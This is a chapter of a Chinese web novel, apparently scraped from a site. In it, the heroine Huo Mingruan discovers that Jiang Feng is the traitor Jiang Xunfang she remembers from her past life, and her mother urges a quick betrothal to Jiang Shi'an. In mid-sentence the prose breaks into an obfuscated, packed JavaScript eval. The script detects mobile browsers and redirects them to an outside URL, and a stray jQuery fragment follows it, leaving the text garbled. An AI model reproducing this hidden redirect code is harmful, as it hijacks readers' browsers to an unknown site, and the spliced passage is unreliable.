23. 第二十三章 不熟
作品:《金枝宠(双重生)》 他身上一件月白绣银丝的锦袍,头顶配着玉冠,五官很端正,清风霁月的模样。
前世霍明阮肯定在某些场合见过他,但就像和江寻方一样,她对他没多少印象。
江家人的模样都生得很好,霍明阮余光瞧着他,忽然想起江奉。心里下意识冒出念头,比起来,还是江奉更胜一筹。
及时地将思绪拉了回来,又想起前世的江时安从翰林院出去后去了工部,年纪轻轻便负责了修筑新庙宇的大工程。
但她觉得,能做出那种文章的人,在工部或许有些大材小用,在朝堂上更有用处。
彼此都不算特别外向的性格,霍明阮想着自己喜欢总要主动些,便开了口:“江公子,上次在马场看你很擅长骑马,不知道是从何处学的?”
江时安笑了笑道:“家父和涂大首领交好,幼时便在他手底下学了。不过臣看,郡主姐姐魏小姐更是巾帼不让须眉。”
霍明阮点点头:“姐姐确实骑马得骑得好,若她是男儿,恐怕没几个人比得过她。”
江时安嗯了声,脑中念头一点点翻过。
郡主今日来江府,意思再明显不过,但娘亲和长公主交好,说不定不是她的意思,而是长公主的意思。
欲言又止,半晌还是开口问道:“今日来,是郡主的意思,还是长公主——”
霍明阮不明白他这么问有何意,正想回答,这时前方忽然传来几分熟悉的女声:“哥哥,那儿,那儿那只蝴蝶,溪儿想要那只蝴蝶。”
接着是少年的声音:“蝴蝶飞远了,哥哥这朵花摘给你好不好。”
霍明阮顺着声音转头看过去,那开得灿烂的桃花树下站着一高一矮两人,竟是江奉和江曲溪。
阳光斜笼过来,他身上穿一件褐青色长袍,似乎习惯性穿着深色的衣服,但容貌却和穿着相反,反而被凸显得艳丽。
江时安见到江奉先一愣,然后高兴地站了起来,朝他的方向迈了两步,向他招手:“寻方,你也在这儿?正好快过来喝喝茶。”
说罢,才想起霍明阮在,转头向她介绍,“那是舍弟江奉和妹妹江曲溪。”
兄妹二人转过头,便看到了另一头的霍明阮和江时安。
霍明阮脸色如冰一般凝结住,一直到江曲溪小跑过来,在她面前亭下,睁着忽闪的眸子,娇滴滴惊喜地喊她:“郡主姐姐——你怎么在这里?”
霍明阮才回过神来,没立即应她的话,而是将视线掠过她,定定地落到她身后江奉身上。
她如琉璃一般的黑眸微微张大,又讶然地去瞥江时安。
方才江时安喊江奉什么?
江寻方?!
江奉的视线也落到了她身上。
不知道她看自己的目光为何那么奇怪,浓黑的眸子里全是不敢置信,不敢置信里头又多了些震惊骇然。
他微微蹙了眉。
看到他在这里这么惊讶?
江时安未察觉两人之间的异样,含笑对江曲溪道:“郡主和魏小姐到府上来听你江姐姐弹琴,所以在这里。”
江曲溪哦了一声,随即在脸上展开一个笑,“那太好啦。”她仰着脑袋,又往前迈了两步,过去将手中的花递给霍明阮,“郡主姐姐,你上次给我买了糖葫芦,这花送给你。”
霍明阮怔忪收回视线,低头瞧着江曲溪手中的花,花瓣粉白,同她身上穿着的莫名有些搭。
这是江奉——不对,是江寻方的摘的花。
她瞧着那花,又拧着眉头去看江奉。
江奉神情里也多少出一分审视,清冷地开了口:“郡主是怕臣在花上下了毒?”
霍明阮回过神来。
现在江奉在,她不好当着江时安的面问他是不是江寻方的事。
勉强伸手接过,扯了点皮笑肉不笑的笑:“没有。”
-
很快,江时安叫一旁侍女添了座,拉着江奉、江曲溪一同在桌边坐了下来。
江奉和江曲溪的出现,打破方才二人相处时的生疏和尴尬,气氛和谐了不少。
只是,江时安一口一个寻方,令霍明阮想忽视也忽视不了......
她手放在膝上,把玩着那朵桃花,听着江家兄弟二人说话,好半天终于接受。
原来寻方是江奉的小字,江奉就是江寻方。
怎么她之前没想到?
“郡主是不是不太舒服?在下瞧着脸色似乎不太好。”江奉忽然将话题转到了她身上。
霍明阮蓦地抬头,对上江奉的眼睛。
他面容一如以往所见是温淡,嗓音柔和清冷,但长眸里却隐约透着些不明审视。
视线里,她手上的花瓣已经被她捏得变了形。
霍明阮将捏着花的手从膝上拿开,坐正了身体,说:“没有,只是、太阳晒着,有些想打盹。”
江时安道:“既然如此,那要不我们现在回去?”
霍明阮扫了眼江奉,“好。”
霍明阮站起来要走,江曲溪却说要送她,便拉了江奉一起。
四人沿着石板小径往回走。
霍明阮没去看江奉,余光盯着阳光投在地上的影子。
她记得很清楚,前世在杜成西过来之时,江家那个庶子江寻方投靠了杜成西,后来还联合府中的下人杀了他的嫡母栾蝉。
握着花瓣的手微紧,桃花瓣的汁水沁出,微微湿了指尖。
上次探春宴回来,她还会怀疑过江奉和江寻方之间的关系。只是后来和他相处,觉得他不像个坏人,更别说是那种杀母叛国的恶人,所以压根没有将他和江寻方联系在一起,也忘了问。
甚至还对他有些好感。
只是没想到,江奉他竟然就是江寻方。
果然知人知面不知心么?
只可惜自己前世死的过早,不知道后来他还做了什么。
他是江寻方,日后绝不能和他再有任何瓜葛。
江时安沉浸在自己的想法里,没有太过关注霍明阮和江奉,但某个时刻他忽然后知后觉察觉到二人之间的微妙,蓦地想起了先前的流言,他想了想说:“寻方,我忽然想起来,你和郡主,你们以前是不是见过?”
没等江奉说话,他身旁的霍明阮脚步一顿,脱口否认:“没有。”
身后的江奉闻言也微一怔,眼底划过些不明意味。
霍明阮余光虚虚瞥到他,这谎话说得太明显,他们明明见过,又纠正道:“我的意思,不是没见过,只是无意见过一两面,并不太熟。”
江时安挑着眉噢了一声,又转头去看自己的弟弟江奉。
江奉眼底神情不明,瞧着霍明阮背影,眼尾敛了敛,默然附和:“郡主说得没错。只是无意碰到过一两次。”
江曲溪在一旁听着皱了眉,明明哥哥和郡主一起吃过饭,哥哥还说喜欢郡主,但她忽然想起上次吃饭过后哥哥同她说,先不要向旁人透露郡主,她便抬起手捂住了自己的嘴,将想要说的话咽了下去。
-
霍明阮心事重重地回来,也就没有注意到魏音宁同样心事重重,一路上没有问半句话,和她平日里的性格显然不符。
两家的这一次相会很顺利,在长公主和秦清昶眼里,自家女儿和儿子的亲事似乎已经敲定了大半,待生辰八字拿去一算,若没大问题就可以定亲了。
等霍明阮回了长公主府,才想起问江奉一事。
“江家二爷江烨华就只有江君浩和江奉两个儿子,没听说过有江寻方这个人。”魏音宁也像才从自己的思绪里出来,问道,“阮阮怎么突然问起这个?”
霍明阮心不在焉摇了摇头:“没事,就是,随口一问。”
魏音宁打量着她神情,“阮阮这么这副模样,是今日见着了江时安江公子,他......他让你不满意?”
霍明阮摇头:“到没有,江公子他人不错,也有才华,我对他没有什么不满意的。”
“那......那就好。”
等魏音宁走后,霍明阮坐在桌边,有些犹豫不定。
江时安确实不错,但江奉就是江寻方,这一世他还考取了状元,她若嫁进江府,他会不会做出更恶劣的事出来从而影响到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005932|161347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她和她的计划?
她正想着,徐殷走进来,说沈嬷嬷过来,长公主有急事要找她。
霍明阮猜想大概是江时安的事,但还没到暖兮阁,她便在台阶前看到了宫里来的公公。
长公主正迎面过来,那张一向冷艳的脸上多出一丝焦急:“方才公公传信说你外祖母方才咳了血,皇上让你和我一起进宫里去。”
霍明阮心头一震,回过神来,“好。”
马车在官道上疾驰。
长公主坐在榻上,虽然神色淡然,但手却紧紧地抓着腕间的玉镯。
霍明阮瞥了眼自家母亲,说:“母亲,外祖母吉人有天相,这一次必然能挺过来。”
她这般说并不是安慰,前世太后是在皇帝舅舅病逝之后还健在,是杜成西一路破了城又杀了太子她才悲痛过度病逝的。
眼下这一次太后不会有性命之忧。
长公主只是低低嗯了一声:“希望如此吧。”
福宁宫,岁禧殿内红烛静静燃照,地板上的宫人跪了一地。
霍明阮和长公主刘书瑶到的时候,太子、刘元喜和魏魏嘉祥都在,皇帝正坐在太后的床榻边,太后全无血色地躺在床上,好在意识还算清明。
长公主上去说了一会话,太后将视线落在霍明阮身上,霍明阮忙跪了过去。
她拉住霍明阮的手:“阮阮,你出生的时候哀家就瞧你和你娘长得像,后来你从青州回来,哀家打第一眼见你就喜欢你。所有孙子孙女辈中,就你离得最远,从小又没了爹......哀家最心疼的就是你,盼着能看到你成亲,不知道还等不等得到那一天。”
霍明阮道:“能等到。阮阮......已经差不多快确定了。”
还想说什么,长公主打断道:“母后,你先别说那么多话,阮阮的事我看着,必然不会让你失望。”
太后见自家女儿似乎已经有所安排,方才点了点头。
等见完太后,皇帝又拉了几个小辈说话,再一次问了霍明阮的婚事。长公主道:“皇兄不用担心,已经在进行中,那家人不比聂家差。”
回程之时,天已经大黑,但马车穿过京城街头,却还是繁华热闹。
马车上的母女两人没有说话。
隔了一会,长公主放开抓着镯子的手,将袖子理了理,直了脊背:“十七年前,我和你差不多大,和你不一样,我从小养在宫里,养尊处优,性子傲娇,以为天底下的东西只要我想要就都能得到。那个时候我遇见了你爹——,他是少年将军,刚和霍将军从边疆回来,我瞧见了他很喜欢,所以找了皇兄替我赐婚。”
霍明阮闻言抬眸看向她。
上一世,若她没记错,长公主从没主动在她面前提起过自己的父亲。
长公主扫了一眼霍明阮,又收回视线看向前方,继续道:“谁知道你父亲竟然拒绝了我。”说到这,她微微的一笑,冷蔑交织着自嘲:“彼时我是殊宁公主,和当今圣上一母同胞,他竟敢当着皇帝的面拒绝我!可惜你娘我偏偏是个反骨,他越是不喜欢,我就越是要得到。”
“后来我闹得太过分,连你皇帝舅舅也对我发了怒。霍家是将军之家,霍丘未来要做大将军。因为我是公主,他拒绝我。”
“所有人都反对。只有你外祖母因为怜爱我,去求了皇兄。我才顺利地嫁给了你爹。”
长公主转过来时,霍明阮看到,灯笼照耀的光照亮她眼里些许晶莹。
霍明阮下意识攥了衣袍,眉头微微蹙起。
长公主很快抬手擦了泪,脸上恢复了一贯的冷静和高贵:“你外祖母她爱我才同意我胡闹。只可惜,那时候的我不明白,即便万人之上也不可能事事如意,强扭的瓜不可能会甜,我也并非那么需要。”
她再转过头去看霍明阮:“所以娘亲不想你走我的老路。”
霍明阮没说话,心头复杂的念头涌动。
“今日你也看到了,皇兄对你婚事很在意,他打的什么算盘我清楚。江时安不错,正好你也喜欢,若是没有旁的意外,这门亲事我想尽快定下来,你觉得如何?”